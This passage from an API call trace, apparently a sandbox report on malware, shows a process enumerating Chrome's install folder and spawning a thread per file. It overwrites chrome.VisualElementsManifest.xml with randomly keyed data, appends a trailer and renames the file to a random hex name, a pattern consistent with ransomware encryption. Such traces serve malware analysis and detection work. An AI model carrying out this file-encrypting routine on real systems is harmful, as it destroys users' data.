ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2a89d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x40323, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0150.977] wcscmp (_String1="natives_blob.bin", _String2=".") returned 1 [0150.977] wcscmp (_String1="natives_blob.bin", _String2="..") returned 1 [0150.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad340 [0150.978] wcscpy (in: _Dest=0x202ad340, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.978] wcscat (in: _Dest=0x202ad340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.978] wcscat (in: _Dest=0x202ad340, _Source="natives_blob.bin" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" [0150.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x235c [0150.979] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d97a860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d97a860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea58ee0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x118671c, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="RESOUR~1.PAK")) returned 1 [0150.979] wcscmp (_String1="resources.pak", _String2=".") returned 1 [0150.979] wcscmp (_String1="resources.pak", _String2="..") returned 1 [0150.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad8c0 [0150.979] wcscpy (in: _Dest=0x202ad8c0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.979] wcscat (in: _Dest=0x202ad8c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.979] wcscat (in: _Dest=0x202ad8c0, _Source="resources.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" [0150.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2360 [0150.980] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea5dd02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x161db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0150.980] wcscmp (_String1="snapshot_blob.bin", _String2=".") returned 1 [0150.980] wcscmp (_String1="snapshot_blob.bin", _String2="..") returned 1 [0150.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad600 [0150.980] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.980] wcscat (in: _Dest=0x202ad600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.980] wcscat (in: _Dest=0x202ad600, _Source="snapshot_blob.bin" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" [0150.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2364 [0150.981] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0150.981] wcscmp (_String1="VisualElements", _String2=".") returned 1 [0150.981] wcscmp (_String1="VisualElements", _String2="..") returned 1 [0150.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ac4d0 [0150.982] wcscpy (in: _Dest=0x202ac4d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.982] wcscat (in: _Dest=0x202ac4d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.982] wcscat (in: _Dest=0x202ac4d0, _Source="VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0150.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202ac4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2368 [0150.982] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0150.983] wcscmp (_String1="WidevineCdm", _String2=".") returned 1 [0150.983] wcscmp (_String1="WidevineCdm", _String2="..") returned 1 [0150.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x205069f0 [0150.983] wcscpy (in: _Dest=0x205069f0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0150.983] wcscat (in: _Dest=0x205069f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0150.983] wcscat (in: _Dest=0x205069f0, _Source="WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0150.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x205069f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x236c [0150.984] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0150.984] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0150.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fcd0) returned 1 [0150.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a41d0) returned 1 [0150.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afc40) returned 1 Thread: id = 1913 os_tid = 0xdb8 [0133.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml")) returned 0x20 [0133.978] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", dwFileAttributes=0x20) returned 1 [0133.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bac [0133.979] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2c40fd60 | out: lpFileSize=0x2c40fd60*=410) returned 1 [0133.979] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x196, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.979] ReadFile (in: hFile=0x1bac, lpBuffer=0x2c40fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c40fd28, lpOverlapped=0x0 | out: lpBuffer=0x2c40fce0*, lpNumberOfBytesRead=0x2c40fd28*=0x4, lpOverlapped=0x0) returned 1 [0133.981] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0133.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0133.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.982] NtQuerySystemTime (in: CurrentTime=0x2c40fc20 | out: CurrentTime=0x2c40fc20*=132462177392218000) returned 0x0 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x6ffab4c0 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x6d4b3cc1 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x394cc817 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x3b5431c7 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x1cf2904e [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x2d501a01 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x76f1da43 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x10ffe518 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x620f2600 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x7a8483bd [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x6927bd25 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x4f86d751 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x6d41c524 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x333c6681 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x3cc37b79 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x2094e3b0 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x6e15e968 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x22fe43d0 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x1254d05 [0133.982] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x16be33b7 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x5338e954 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x49cdd794 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x14e5ab27 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x1aceca64 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x4df8ab [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x6de48f07 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x35547f4c [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x36232f89 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x79359617 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x430a85ac [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x73357e52 [0133.983] RtlRandomEx (in: Seed=0x2c40fc10 | out: Seed=0x2c40fc10) returned 0x589a8e [0133.996] ReadFile (in: hFile=0x1bac, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x2c40fc10, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2c40fc10*=0x19a, lpOverlapped=0x0) returned 1 [0133.996] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.996] WriteFile (in: hFile=0x1bac, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x19a, lpNumberOfBytesWritten=0x2c40fc14, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2c40fc14*=0x19a, lpOverlapped=0x0) returned 1 [0134.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0134.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0134.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0134.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0134.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1ced5860 [0134.001] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.001] WriteFile (in: hFile=0x1bac, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2c40fd30, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x2c40fd30*=0x134, lpOverlapped=0x0) returned 1 [0134.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0134.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8693c0 [0134.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0134.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97b20 [0134.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0134.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0134.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0134.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x85) returned 0x202a4e30 [0134.016] sprintf (in: _Dest=0x202a4e30, _Format="%c%c" | out: _Dest="1c") returned 2 [0134.016] sprintf (in: _Dest=0x202a4e32, _Format="%c%c" | out: _Dest="0d") returned 2 [0134.016] sprintf (in: _Dest=0x202a4e34, _Format="%c%c" | out: _Dest="c1") returned 2 [0134.016] sprintf (in: _Dest=0x202a4e36, _Format="%c%c" | out: _Dest="5b") returned 2 [0134.016] sprintf (in: _Dest=0x202a4e38, _Format="%c%c" | out: _Dest="cd") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e3a, _Format="%c%c" | out: _Dest="f8") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e3c, _Format="%c%c" | out: _Dest="3f") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e3e, _Format="%c%c" | out: _Dest="c5") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e40, _Format="%c%c" | out: _Dest="82") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e42, _Format="%c%c" | out: _Dest="10") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e44, _Format="%c%c" | out: _Dest="0b") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e46, _Format="%c%c" | out: _Dest="e8") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e48, _Format="%c%c" | out: _Dest="0b") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e4a, _Format="%c%c" | out: _Dest="30") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e4c, _Format="%c%c" | out: _Dest="00") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e4e, _Format="%c%c" | out: _Dest="24") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e50, _Format="%c%c" | out: _Dest="b7") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e52, _Format="%c%c" | out: _Dest="a4") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e54, _Format="%c%c" | out: _Dest="25") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e56, _Format="%c%c" | out: _Dest="3e") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e58, _Format="%c%c" | out: _Dest="b9") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e5a, _Format="%c%c" | out: _Dest="ed") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e5c, _Format="%c%c" | out: _Dest="95") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e5e, _Format="%c%c" | out: _Dest="91") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e60, _Format="%c%c" | out: _Dest="37") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e62, _Format="%c%c" | out: _Dest="92") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e64, _Format="%c%c" | out: _Dest="86") returned 2 [0134.017] sprintf (in: _Dest=0x202a4e66, _Format="%c%c" | out: _Dest="20") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e68, _Format="%c%c" | out: _Dest="94") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e6a, _Format="%c%c" | out: _Dest="cc") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e6c, _Format="%c%c" | out: _Dest="07") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e6e, _Format="%c%c" | out: _Dest="fe") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e70, _Format="%c%c" | out: _Dest="b7") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e72, _Format="%c%c" | out: _Dest="3d") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e74, _Format="%c%c" | out: _Dest="06") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e76, _Format="%c%c" | out: _Dest="c5") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e78, _Format="%c%c" | out: _Dest="42") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e7a, _Format="%c%c" | out: _Dest="13") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e7c, _Format="%c%c" | out: _Dest="d2") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e7e, _Format="%c%c" | out: _Dest="13") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e80, _Format="%c%c" | out: _Dest="99") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e82, _Format="%c%c" | out: _Dest="2e") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e84, _Format="%c%c" | out: _Dest="57") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e86, _Format="%c%c" | out: _Dest="bd") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e88, _Format="%c%c" | out: _Dest="72") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e8a, _Format="%c%c" | out: _Dest="61") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e8c, _Format="%c%c" | out: _Dest="dd") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e8e, _Format="%c%c" | out: _Dest="f4") returned 2 [0134.018] sprintf (in: _Dest=0x202a4e90, _Format="%c%c" | out: _Dest="78") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e92, _Format="%c%c" | out: _Dest="75") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e94, _Format="%c%c" | out: _Dest="be") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e96, _Format="%c%c" | out: _Dest="37") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e98, _Format="%c%c" | out: _Dest="ce") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e9a, _Format="%c%c" | out: _Dest="78") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e9c, _Format="%c%c" | out: _Dest="fa") returned 2 [0134.019] sprintf (in: _Dest=0x202a4e9e, _Format="%c%c" | out: _Dest="fa") returned 2 [0134.019] sprintf (in: _Dest=0x202a4ea0, _Format="%c%c" | out: _Dest="69") returned 2 [0134.019] sprintf (in: _Dest=0x202a4ea2, _Format="%c%c" | out: _Dest="6f") returned 2 [0134.019] sprintf (in: _Dest=0x202a4ea4, _Format="%c%c" | out: _Dest="a4") returned 2 [0134.019] sprintf (in: _Dest=0x202a4ea6, _Format="%c%c" | out: _Dest="96") returned 2 [0134.019] sprintf (in: _Dest=0x202a4ea8, _Format="%c%c" | out: _Dest="2b") returned 2 [0134.019] sprintf (in: _Dest=0x202a4eaa, _Format="%c%c" | out: _Dest="dc") returned 2 [0134.019] sprintf (in: _Dest=0x202a4eac, _Format="%c%c" | out: _Dest="bf") returned 2 [0134.019] sprintf (in: _Dest=0x202a4eae, _Format="%c%c" | out: _Dest="5d") returned 2 [0134.019] sprintf (in: _Dest=0x202a4eb0, _Format="%c%c" | out: _Dest="f9") returned 2 [0134.019] sprintf (in: _Dest=0x202a4eb2, _Format="%c%c" | out: _Dest="fa") returned 2 [0134.019] RtlInitAnsiString (in: DestinationString=0x2c40fda8, SourceString="1c0dc15bcdf83fc582100be80b300024b7a4253eb9ed95913792862094cc07feb73d06c54213d213992e57bd7261ddf47875be37ce78fafa696fa4962bdcbf5df9fa" | out: DestinationString="1c0dc15bcdf83fc582100be80b300024b7a4253eb9ed95913792862094cc07feb73d06c54213d213992e57bd7261ddf47875be37ce78fafa696fa4962bdcbf5df9fa") [0134.020] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c40fd78, SourceString="1c0dc15bcdf83fc582100be80b300024b7a4253eb9ed95913792862094cc07feb73d06c54213d213992e57bd7261ddf47875be37ce78fafa696fa4962bdcbf5df9fa", AllocateDestinationString=1 | out: DestinationString="1c0dc15bcdf83fc582100be80b300024b7a4253eb9ed95913792862094cc07feb73d06c54213d213992e57bd7261ddf47875be37ce78fafa696fa4962bdcbf5df9fa") returned 0x0 [0134.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166e00 [0134.020] wcscat (in: _Dest=0x106b80, _Source="1c0dc15bcdf83fc582100be80b300024b" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\1c0dc15bcdf83fc582100be80b300024b") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\1c0dc15bcdf83fc582100be80b300024b" [0134.020] wcscat (in: _Dest=0x106b80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\1c0dc15bcdf83fc582100be80b300024b.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\1c0dc15bcdf83fc582100be80b300024b.2f9b60" [0134.020] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\1c0dc15bcdf83fc582100be80b300024b.2f9b60", NtPathName=0x2c40fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\1c0dc15bcdf83fc582100be80b300024b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776770 [0134.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0134.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291230) returned 1 [0134.022] NtQueryInformationFile (in: FileHandle=0x1bac, IoStatusBlock=0x2c40fdb8, FileInformation=0x2c40fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c40fdb8, FileInformation=0x2c40fdc8) returned 0x0 [0134.022] NtSetInformationFile (FileHandle=0x1bac, IoStatusBlock=0x2c40fdb8, FileInformation=0x2c40fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0134.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106b80) returned 1 [0134.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0134.024] FlushFileBuffers (hFile=0x1bac) returned 1 [0138.532] CloseHandle (hObject=0x1bac) returned 1 [0138.625] RtlAllocateHeap 